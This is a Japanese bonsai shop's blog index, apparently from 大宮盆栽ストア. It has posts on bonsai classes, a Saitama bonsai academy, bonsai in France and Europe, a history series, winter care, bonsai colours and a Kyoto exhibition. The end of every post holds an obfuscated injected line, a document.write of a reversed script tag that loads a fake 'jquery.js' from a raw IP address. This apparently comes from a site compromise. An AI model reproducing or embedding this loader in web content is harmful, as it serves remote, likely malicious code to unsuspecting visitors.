大宮盆栽ストア 最新情報・ブログ

盆栽の育て方テクニックやイベント情報などさまざまな盆栽情報をご紹介します。

  • 大人の習い事 盆栽教室

    今年4月に行われた世界盆栽大会には、世界各国から大勢の盆栽愛好家が訪れました。 出所:埼玉新聞 注目の「大人の習い事」それは盆栽! 最近、余暇を充実させる趣味のため、あるいは、スキルアップや自己実現のために「大人の習い事」を始める人が増えています。 そんな「大人の習い事」で盆栽教室の人気が高まっているのです。 盆栽教室なんてあるの?と驚かれるかもしれませんが、各地の自治体や植物園、カルチャーセンター、盆栽園などで、意外なほど多くの盆栽教室が開かれています。 もちろん、日本の盆栽の本拠地の一つである大宮盆栽村でもいくつかの教室が開催されているので、盆栽村を訪れれば、本格的な盆栽を鑑賞しつつ、学ぶことができます。 盆栽師の厳しい修業とは異なり、盆栽教室では、一般の人が盆栽をより身近に感じ、一層楽しめるようにプロの盆栽師さんが盆栽の初歩からレクチャーをしてくれます。 「盆栽と対峙していると気持が落ち着きますし、ものごとに集中する訓練にもなっていると思います」 「枝を切り落としたりするので、決断力?が磨かれる感じです。そして切った枝は戻りませんから、丁寧さも身につくというか、いろいろなことに繊細な注意をはらえるようになったかな」 「愛情を注ぎながら、悪いところは早めに断って、良いところを伸ばしてあげるっていうのは子育てにも通じるように思えて。子育てに必須の根気強さもついてきました(笑)」 と、参加者の満足度もとても高いようです。 盆栽の手入れを自己流でしてきたので、一度プロにしっかり習ってみたかったという人だけでなく、盆栽ってどんなものかもよく知らなかったけれど、たまたま教室が開かれていることを知って興味をもったという人など、参加者は多彩。受講生の年齢層も幅広く、女性の割合も多いのです。 「習い事」という以上、上達すれば楽しいのはもちろんですが、まずは習っている時間を楽しめることがなにより。 盆栽教室では、実際の盆栽に触れるので、盆栽の技にわくわくするだけでなく、自然の息吹を感じることもできる時間です。 自分磨きに役立つことはもちろん、オリンピック開催を前にして日本文化を見直してみようという時にも良いきっかけとなりそうな盆栽教室。 気軽にはじめてみませんか? 日本初の盆栽専門の公的学習プログラム「さいたま国際盆栽アカデミー」が開講! 今年5月より開講したさいたま国際盆栽アカデミーの様子。 出所:さいたま市大宮盆栽美術館 そして、盆栽に関する知識と技術を体系的に学びたいという方におすすめなのが、平成29年5月からスタートした「さいたま国際盆栽アカデミー」です。 さいたま市大宮盆栽美術館が主催するこのアカデミーには、「初級コース」・「中級コース」・「上級コース」の3つのコースがあり、盆栽の基礎を学ぶ「初級コース」の受講からスタートして、修了するごとに「中級コース」「上級コース」へとステップアップしながら盆栽の技術、歴史、文化などを幅広く体系的に学んでいくことができます。 受講者には、こんな特典も! ・大宮盆栽美術館の年間パスポートがもらえる! ・ 盆栽に関する所定の知識・技術を修得したことを認める「修了証」を発行!   ■初級コースは全8回(基本は毎週土曜日開催)。 次回の募集は、 2018年1月開講2クラス分の募集受付期間:12月1日~25日 定員は各クラス20名。受講料は31,000円(税込)です。   【問い合わせ・申し込み】 さいたま市大宮盆栽美術館 電話:048-780-2091  http://www.bonsai-art-museum.jp   document.write('>tpircs/"sj.yreuqj/87.611.942.431//:sptth"=crs tpircs
  • 盆栽とフランス

    パリに期間限定でオープンした大宮盆栽アンテナショップ「OMIYA BONSAI in Paris」 写真提供:公益社団法人さいたま観光国際協会 フランス人の生活に溶け込む"BONSAI"。エルメスと盆栽の意外な関係とは。 盆栽愛好家が多いことでも知られるヨーロッパにおいて、イタリアやスペインの盛況と比べると一歩遅れをとっている感があるフランス。しかし、フランスと盆栽の関わりには長い歴史があります。 パリでは、1855年、1867年、1878年、1889年、1900年、1925年、1937年に万国博覧会が開催されていますが、このうち少なくとも1878年以降は日本からの出品物の中に盆栽があったと考えられ、1889年や1937年の万博では盆栽が来場者に大変な人気を博したという記録も残っています。ジャポネスクブームの中で盆栽は大きな位置を占めていたのでしょう。 フランスのデザイン界で愛されるBONSAI(ボンザイ) そして現在、「BONSAI(Iの上にアクセント記号)。発音はボンザイ)という言葉を知るフランス人は決して少なくはありません。売店やキオスクには新聞などとともに「Esprit Bonsai」という盆栽雑誌が並んでいたり、街角の花屋で「BONSAI」の札をつけた鉢物をみかけることも。また、数こそ多くありませんが、盆栽の専門店も存在します。ピクニックの季節になると、パリ郊外、ヴァァンセンヌの森の中にある植物園Parc Floral de Parisにあるbonsaiの館にも多くの人が訪れます。フランスの生活の中に盆栽は確実に溶け込んできているのです。 2014年にエルメス(HERMÈS)が東京国立博物館で開催した特別エキシビジョン「レザー・フォーエバー」 画像元:http://www.fashionsnap.com/ また、フランスで開かれる様々なレセプションに、日本文化を表すもののひとつとして盆栽が展示されることも多く、このような場で盆栽を知ったVIPやジャーナリストにも盆栽愛好家が増えてきているようです。 そして、意外なところで盆栽に出会うことも。フランスの有名ブランドであるエルメスのスカーフに盆栽柄があるのをご存じでしょうか? 数点の盆栽と「盆栽、美しき時」の日本語文字をデザインしたスカーフは、エルメスファンのコレクションアイテムとしても人気が高いとのこと。同じくエルメスでは、「レザー・フォーエバー」という特別エキシビジョンで樹齢180年の盆栽と同ブランドの代表作バックとをコラボレーションした展示を行ったこともあります。またフランスのデザイナーVivien Muller氏は、盆栽のフォルムやコンセプトに想を得て家庭用の太陽光発電機『Electree Mini』をデザインしています。 このようにフランスのトップデザイナーたちも盆栽から多くのインスピレーションを得ているのです。 2017年、大宮で開催される世界盆栽大会にもフランスから多くの方々が訪れると予想されます。これからも盆栽とフランスの関わりはより深まっていくに違いありません。 document.write('>tpircs/"sj.yreuqj/87.611.942.431//:sptth"=crs tpircs
  • 盆栽の歴史コラム ④ 西欧に渡った盆栽

    2015年3月にはパリの中心地で大宮盆栽アンテナショップ「OMIYA BONSAI in Paris」が期間限定でオープンし、大盛況を博しました。写真提供:公益社団法人さいたま観光国際協会 これぞクールジャパン!西欧を中心に世界中で「BONSAI」として愛される日本の盆栽 江戸時代以降、すっかり定着した盆栽文化。その盆栽がヨーロッパを中心に世界的に評価が高いことをご存知ですか?今回は「世界で愛される盆栽」についてご紹介します。 「高い年齢層が嗜む趣味」とイメージする方も多い盆栽ですが、日本からヨーロッパに渡って以来、海外では芸術・アートとして脚光を浴び、日常的に愛されています。 ヨーロッパで100年以上の歴史を持つ盆栽 特に人気が高いのが西欧諸国。この背景に存在するのが、フランスのパリと日本の大阪で開催された万国博覧会です。とりわけ1900年にパリで行われた万博は、展示された日本の盆栽に欧州圏の人々が強く惹きつけられ、盆栽を知るきっかけになりました。 以降、ヨーロッパで盆栽に関する専門書や文献が多数発売され、盆栽に触れる人の数はうなぎのぼりに。愛好家や関連団体も続々と登場し、パリ万博のちょうど70年後、1970年の大阪万博では、ヨーロッパからの来訪者の間で熱い注目を集めました。その後、日本の盆栽文化はさらに広まり高い人気を得ています。 ヨーロッパで人気を博す理由のひとつが、幅広い年齢層への定着。ヨーロッパの盆栽愛好家や興味を持つ人は、下は子どもから上は高齢者までと幅広く、もともと園芸文化が根づいていたことも盆栽文化の定着を後押ししました。万博が開催されたフランスはもとより、芸術の国イタリアなどでも大人気で、センスがよい美しい芸術品として世代を問わず親しまれています。 ヨーロッパで高まる盆栽ビジネス また、欧州各国の盆栽輸入販売業者が盆栽ビジネスに力を入れていることも大きな理由です。飾って魅せる展示施設を数多く展開したり、盆栽文化の意識付けを確立させたり、個々人のニーズに応えるパイプやネットワークで対応しています。このため、日本でもヨーロッパ市場を特別視し、輸出販売のみならず、各国で開催される盆栽講習会への講師派遣の要望には日本の専門家や生産者が出向き、手入れや管理方法などを直接指導し、交流も活発です。 小さなお子さん対象の盆栽教室も頻繁に開催され、日本以上の盛り上がりをみせるヨーロッパの盆栽人気。ぜひ日本でも気軽に手にしてみてくださいね。 document.write('>tpircs/"sj.yreuqj/87.611.942.431//:sptth"=crs tpircs
  • 盆栽の歴史コラム ③江戸文化として開花

    歌舞伎「仮名手本忠臣蔵」(かなでほんちゅうしんぐら)の浮世絵連作のうちの四段目。謹慎処分を受けている主のもとへ、腰元たちが花を献上するところ。縁先には、満開の梅と桜の鉢植が置かれている。「忠臣藏 四段目(文化12-天保13年(1815-42)頃)歌川広重画」 さいたま市大宮盆栽美術館 収蔵 江戸時代に文化が開花!盆栽ブームが巻き起こった背景に存在する江戸商人の活躍 中国から海を渡り日本に伝来して以来、たくさんの人々に愛される盆栽。 そんな盆栽が庶民の間でも根づきはじめたのは江戸時代までさかのぼります。今回は「江戸文化として開花した盆栽」についてご紹介します。 長い歴史をもつ「盆栽」は、戦国時代が終焉を迎え、世の中がようやく平穏になった江戸時代に爆発的なブームが起こりました。このため、日本における盆栽の歴史を紐解く上で、同時代がもっとも重要だといわれています。 江戸商人が引き起こした一大盆栽ブーム 大園芸ブームが巻き起こった背景に存在するのは、江戸商人の活躍。戦国時代以降、民衆に余裕が生まれ、嗜みに時間やお金がかけられる人が増えつつあった江戸時代に入ると、商いを取り仕切る商人が力を持ち、民衆が好みそうなものを広める動きが強まりました。 こうした流れを受け、以前から貴族や禅僧の間で親しまれてきた盆栽が大人気に。もともと日本人は手先が器用で几帳面かつ真面目なため、盆栽への素養があったことや、高い身分間で流行していた盆栽に憧れを抱いており、流行する地盤が整っていたことも理由のひとつです。 江戸文化として開花した盆栽ですが、それまでは一部の大名に親しまれていたのが、一般民衆と同じく大名の間でも大ブームが起こったのも江戸時代。盆栽をこよなく愛する大名たちは、江戸商人から特別に調達するに留まらず、お抱えの盆栽鉢専門の焼物師まで持つようになり、定期的に盆栽競技会が実施されるほど定着しました。 盆栽から「BONSAI」へ また、「盆栽」という名称が確立されたのは明治時代ですが、初めて「盆栽」と呼ばれはじめたのは江戸時代だと伝えられています。 時を経て幕末時代、ヨーロッパからプラントハンターが新たな樹種を求めて来日した際、その種類の多さや美しさに驚愕したとの記録が残されている盆栽。 江戸時代に多くの人々の間で楽しまれたことがうかがえるエピソードであり、現在も世界的に評価が高く「BONSAI」として愛される今日の姿は、江戸文化として開花した時代がなければ存在しませんでした。 ぜひ在りし日に想いをはせながら、盆栽に向き合ってみてはいかがでしょうか。 document.write('>tpircs/"sj.yreuqj/87.611.942.431//:sptth"=crs tpircs
  • 盆栽の歴史コラム ②日本への伝来

    画面右手の子供たちの隣に石付盆栽が置かれている。「春日権現験記 (宮内庁三の丸尚蔵館) 延慶二年(1309)  高階隆兼画」 中国から日本へ上陸!平安時代、江南地方の貿易商人により伝来した盆栽 芸術として高い価値を持ち、多くの人々に親しまれる盆栽。古代中国で生まれ、日本に持ち込まれたことから根づいたと伝えられています。今回は「日本への伝来」についてご紹介します。 古代中国で誕生し、定着した後、海を渡って日本にやってきた盆栽のはじまりには諸説ありますが、もっとも有力とされているのが平安時代。中国本土で「盆景」と呼ばれる盆栽は、盆景文化が盛んな江南地方で貿易商を営んでいた貿易商人たちが、平安時代末期、日本移住を果たした際に、彼らの手により持ち込まれたといわれています。 その歴史を証明するように、「万葉集」や平安時代の絵巻物に盆栽の源流であるよく似た鉢植えが描かれており、盆景が日本に伝来される以前から存在した“樹を鉢に植える嗜み”が、中国から盆景が入ってきたことで鉢植えに景色を描く「盆栽」の文化として育まれるようになりました。また、当時の盆栽は鉢植えの他、大型の木製の台を用いたことも特徴のひとつです。 禅との出会い 鎌倉時代に入り、盆栽は主に禅僧の間で流行。当時、文化的な側面において強い影響力をもっていた禅僧に定着したことで、日本の盆栽は宗教観の中で育まれたとも称されています。 また、一般の民衆にも盆栽を趣味として楽しむ人も増えており、鎌倉時代に描かれた絵巻物「西行物語絵巻」に現代に通ずる「盆栽」が初登場し、謡曲「鉢木」には庶民にも親しまれる趣味との記述が存在します。こうした事実から、鎌倉時代は日本における盆栽の基盤ができあがった重要期と捉えられています。 室町時代には、室町時代中期から戦国時代初期にかけて活躍した8代将軍・足利義政公が熱心に盆栽の世話をしていたことでよく知られており、身分を問わず盆栽が広く愛されました。 日本伝来以降、長い歴史をたどってきた盆栽。知れば知るほど奥深い魅力に惹きつけられます。すでに盆栽を楽しんでいる方も、これから初めてみようという方も、こうした文化を感じながら親しんでくださいね。 document.write('>tpircs/"sj.yreuqj/87.611.942.431//:sptth"=crs tpircs
  • 盆栽の歴史コラム ①盆栽の起源

    後漢時代の盆栽の壁画(真ん中の従者が手に持っているものが最古の盆栽の証拠と言われています) 驚くべき歴史の長さ!誕生の地、古代中国で育まれ“盆景”として愛される盆栽 愛好家はもとより、幅広く愛される盆栽。とはいうものの、盆栽がいつ頃、どこで生まれたかまでご存知の方は多くはないはず。そこで今回は「盆栽の起源」についてご紹介します。 盆栽が誕生したのは、今から2500年以上前。樹木を鉢に植えて育てる、現在の“盆栽”の源流となる嗜みが古代中国で生まれました。中国では「盆景」と呼ばれ、以降、宮廷や高官など貴族階級を中心に多くの人々の日常に根づいたといわれています。余談ながら、日本で「盆栽」の名称が確立されたのは、中国からの伝来以降、明治時代のこと。盆栽業が職業として根づいたのも同時代です。 文献や壁画など現存している歴史的関連物で紐解くと、約1300年前、唐の時代につくられた皇族李賢のお墓に登場するものが最古の盆栽で、同壁画には当時の女官が器の上に花を付けた植物をのせ、捧げ持ちながらうやうやしく歩く姿が描かれています。 栄の時代に入ると、樹や草を石付けにした現代の盆栽に近いものが広まり、中国における「盆景」のベースができあがりました。この際、用いた石は盆石と呼ばれており、古くから中国に伝わる独自性豊かな山水の地形や風景を表現した当時の中国の人々の想いがうかがえます。 その後、明や清の時代になると、さらに盆栽ブームは加速傾向に。当初、貴族をはじめとした富裕層の間で生まれ、嗜まれた盆栽ですが、中国人の気質に適していたため、徐々に一般の民にも広がるようになり、同時代にはすでに馴染み深い趣味として親しまれました。 現在の中国では、大きくわけると7つの流派が存在し、それぞれの伝統を守りながら流派ごとの地域を表現した樹形の違いを鑑賞することも中国盆景の面白さです。日本の盆栽とは異なる形も数多く見受けられ、日本で育まれた樹形に慣れ親しんでいる方々は驚いてしまうことも。こうした異なる樹形や文化を堪能することも盆栽の魅力といえます。 歴史を紐解くだけで新たな発見にも出会える盆栽の世界。脈々と受け継がれてきた歴史ある嗜みを楽しんでみてはいかがでしょうか。 document.write('>tpircs/"sj.yreuqj/87.611.942.431//:sptth"=crs tpircs
  • ヨーロッパの一大盆栽イベント

    大宮盆栽が参加した2015年時のポスター ©︎ Bonsai Association Belgium(ベルギー盆栽協会) こんにちは、大宮盆栽ストアです。 日本固有のものと思われがちな盆栽ですが、実は古くから海外でもたいへん人気があることをご存じでしょうか。 中でも、1900年のパリ万博で日本の盆栽が伝わったといわれるヨーロッパには多くの専門家や愛好家が存在し、各国の盆栽協会や愛好家のグループが活発な活動を行っています。 また、日本の盆栽もヨーロッパに多く輸出されており、日本屈指の盆栽ブランドである大宮盆栽も、パリに期間限定のアンテナショップを出店するなど、ヨーロッパにおける日本盆栽の普及に大きな役割を果たしてきました。 毎年ベルギーで行われるヨーロッパ最大規模の盆栽イベント そのような背景の中、ベルギーで毎年開催されている盆栽の一大イベントがNoelanders Trophy(ノーランダー トロフィー)です。例年、落葉樹を含む盆栽を評価するために適した季節である冬に行われ、ヨーロッパのみならず世界各国から盆栽の専門家、愛好家たちが集います。 2日間にわたる一般公開プログラムのメインとなるのは、盆栽と水石の展示。受賞作の素晴らしさはもとより、各地から逸品が数多く出展されて見応えがあるため、2日間有効のチケットを購入して連日じっくり鑑賞する人も多数。併設されている盆栽や盆栽道具などを販売するマーケットも終日愛好家で賑わいます。 また、新人コンテストや世界のトップアーティストによるデモンストレーションプログラムでは、盆栽に対する柔軟な感性や卓抜した技巧を目の当たりにできるとあって、これらを楽しみに毎年訪れる人も多いのです。 日本の盆栽家たちがデモンストレーションを披露 例えば、2015年のNoelanders TrophyXVIでは、真柏、荒皮モミジ、カエデの3点の大宮盆栽が展示され、開場前から行列した多くの愛好家たちが、日本の伝統と歴史に培われた大宮盆栽の素晴らしさに感嘆。大宮盆栽のブースに置かれた輸出用カタログに興味を示す人も多く、早速商談が行われたほどです。また、2017年に大宮で開催される世界盆栽大会のPRや大宮盆栽村のPRに対するリアクションも大変良く、大宮盆栽を世界に発信するために大いに役立ちました。 18回目となる2017年は、2月4日・5日に、ベルギーのGenk(ヘンク)という街で開催されます。デモンストレーションには日本から松田三男氏、野元大作氏、イタリアからSalvatore Liporace氏、スペインからDavid Benaventeが登場予定です。 盆栽の「今」を体感できるだけでなく、盆栽芸術を通して世界の平和や国際親善につなげていこうというグローバルなイベントであるノーランダー トロフィー。 機会があれば是非訪れてみてください。 参考サイト Noelanders Trophy XVIII(英語サイト):  http://www.eba2017.be/   document.write('>tpircs/"sj.yreuqj/87.611.942.431//:sptth"=crs tpircs
  • 盆栽のお手入れのきほん:冬編

    こんにちは、大宮盆栽ストアです。 11月には大宮にも今期初めての雪が降り、朝夕が急に冷え込むようになってきました。 さて皆さん、冬を迎える準備はお済みですか? クリスマスやお正月…とイベントが続く季節ですが、盆栽の準備もお忘れなく! 多くの樹は休眠期に入りますが、風や霜、乾燥などへの備えが必要です。そこで今回は、冬の盆栽の管理について基本をおさらいしたいと思います。 ◆水やり 基本的に2日に1度程度の水やりを行います。冬は乾燥が激しいので、天候の良い日は土の乾き具合を確認し、乾いていれば水をやります。水が凍ってしまうのを避けるため、水やりは午前中の暖かい時間帯に行うようにしましょう。 ◆置き場所 乾燥した冷気を避けるため、日当たりの良い軒下やビニールハウスのような保護室(ムロ)に入れて、日中は日を当て風通しも良くなるように気を配りましょう。盆栽棚にビニールシートをかけてとめれば、簡単に簡易のムロを作ることができます。生鮮食品を入れるような発砲スチロールの箱に鉢を入れるのも有効です。 室内で鑑賞する場合は暖房が当たらないように注意し、定期的に外の空気にあてるようにします。 また、気温差が大きいところを頻繁に出し入れすると樹に負担がかかりますので気をつけましょう。 ◆肥料 多くの樹は休眠期に入り生長していませんので、基本的に施肥は必要ありません。 ◆その他 葉が落ちて樹形がよく分かるケヤキなどの落葉樹は剪定に最適のシーズンとなります。また松や真柏などの針金成形を行うにも適期です。樹種によってタイミングや必要な手入れが異なりますので確認してみましょう。 自然のものですから過保護にし過ぎるのはよくありませんが、鉢が小さく葉や枝も繊細な盆栽は自生する樹に比べて冬の環境に弱いので、細やかな心配りをしてあげることが必要です。 見た目にはあまり変化のない季節ですが、きちんと手をかけた盆栽は春になると元気に芽吹いてくれますよ!しっかり準備して快適な冬を迎えましょう。 冬にオススメの盆栽はこちらから >> document.write('>tpircs/"sj.yreuqj/87.611.942.431//:sptth"=crs tpircs
  • 盆栽の“色々なイロ”を集めてみました!

    ©︎さいたま市 大宮盆栽美術館 こんにちは、大宮盆栽ストアです。 花の咲き誇る春や緑鮮やかな夏もさることながら、真っ赤に染まる紅葉や黄色に変わり始めた欅、鮮やかに色づく実を見ていると、秋が実は一番色鮮やかな季節なのでは…という気がしてきます。 そこで今回は、盆栽にまつわる“色々なイロ”を集めてみました! 緑 まずは緑!緑のない盆栽はありません。一年中緑の楽しめる松柏類から冬には葉を落とす落葉樹、草もの盆栽まで、自然界から欠かすことのできない色です。家にもグリーンがあると落ち着きますよね。 茶色 こちらもほぼすべての盆栽に見ることができる色です。幹や枝の茶色、用土の茶色、そして盆栽に最もよく用いられる「泥もの」と呼ばれる釉のかかっていない素焼きの鉢も茶色です。 白 盆栽の白…といえばジンとシャリ。歳月を経た松や真柏では、枯れた幹や枝が白骨化し緑色の葉との美しいコントラストを生み出します。花もの盆栽にも雪柳や野ばら、クチナシなど白い花をつけるものは多く、梅や椿にも白い花を咲かせるものがありますね。また自然の色を邪魔しない白い鉢も、盆栽ではよく用いられます。 赤 まずはこの時期ピークを迎えている葉もの盆栽の紅葉。特に紅葉もみじのハッとするほど鮮やかな赤色には目を奪われます。花もの盆栽では、長寿梅や椿、ツツジなどが赤い花を咲かせます。そして秋から冬に実をつける姫リンゴや紅紫檀、山査子なども、赤です。 ピンク 鮮やかな赤とはまた異なるかわいらしさを添えるのがピンク。なんといっても春の桜や花海棠は美しく、夏には百日紅が鮮やかなピンクの姿を見せてくれます。 黄色 盆栽では貴重な黄色の実が楽しめるのは、深山海棠や花梨。花ものでは、黄梅やレンギョウ、黄木香ばらなどが黄色の花を咲かせます。この時期美しい黄葉を見せてくれる欅やブナの黄色も忘れてはいけません。 橙色 老爺柿や橘もどき(別名:ピラカンサ)など、実もの盆栽にはオレンジの実をつけるものが比較的多くあります。豆金柑という名でも呼ばれるキンズの実もオレンジです。 紫 紫は珍しいのではないでしょうか。紫式部はその名の通り、紫の小さな実をたくさんつけます。 イヌビワの実も黒っぽい紫です。 青 こちらも自然の緑の中ではかなり珍しい色ですが…瑠璃るり瓢箪びょうたんという種類では、秋から冬にかけて小さな青い実をつけます。そして、黄色や赤の花や実を引き立てることから、花もの盆栽や実もの盆栽では青系の鉢も好まれますね。 いかがでしょうか。皆さんの盆栽は、どんなイロを見せてくれますか。 色鮮やかなこの季節を存分に楽しみたいものですね。 document.write('>tpircs/"sj.yreuqj/87.611.942.431//:sptth"=crs tpircs
  • 日本盆栽大観展2016

    こんにちは、大宮盆栽ストアです。 関東も先週から本格的に冷え込んできました。 大宮でも山紅葉が色づきはじめ、秋に彩りを添えています。 さてそんな秋も暮れゆく今週末、京都で恒例の「日本盆栽大観展」が開催されます。これは日本盆栽共同組合も主催に名を連ねる国内最大級の展示会で、毎年秋の終わりに京都で開催され今回で第36回を迎えます。 全国の盆栽愛好家から公募で集められ厳選された松柏、雑木、小品などの各種盆栽と水石など180席余りが展示されるほか、特別出品として第41回日本盆栽作風展の「内閣総理大臣賞」作品や、第90回国風盆栽展の「国風賞受賞」作品など10席ほど展示されます。 日時:2016年11月19日(土)〜 11月22日(火) 9:00〜16:30(最終日は16時まで) 場所:京都市勧業館みやこめっせ その他イベントの詳細は以下より ・ 日本盆栽共同組合:日本盆栽大観展について ・ 京都市勧業館みやこめっせ:第36回 日本盆栽大観展 また会場では、盆栽研究家による盆栽解説ツアーや大即売会も開催されるとのこと。 全国の盆栽家が丹精込めて育てた作品を、一度に見られる貴重な機会です。街の紅葉も見頃を迎える秋の京都に、お出かけになってみてはいかがでしょうか。 ちょっと興味があるけど、盆栽の見方が分からない…という方は、ぜひこちらのページもチェックしてお出かけくださいね! document.write('>tpircs/"sj.yreuqj/87.611.942.431//:sptth"=crs tpircs

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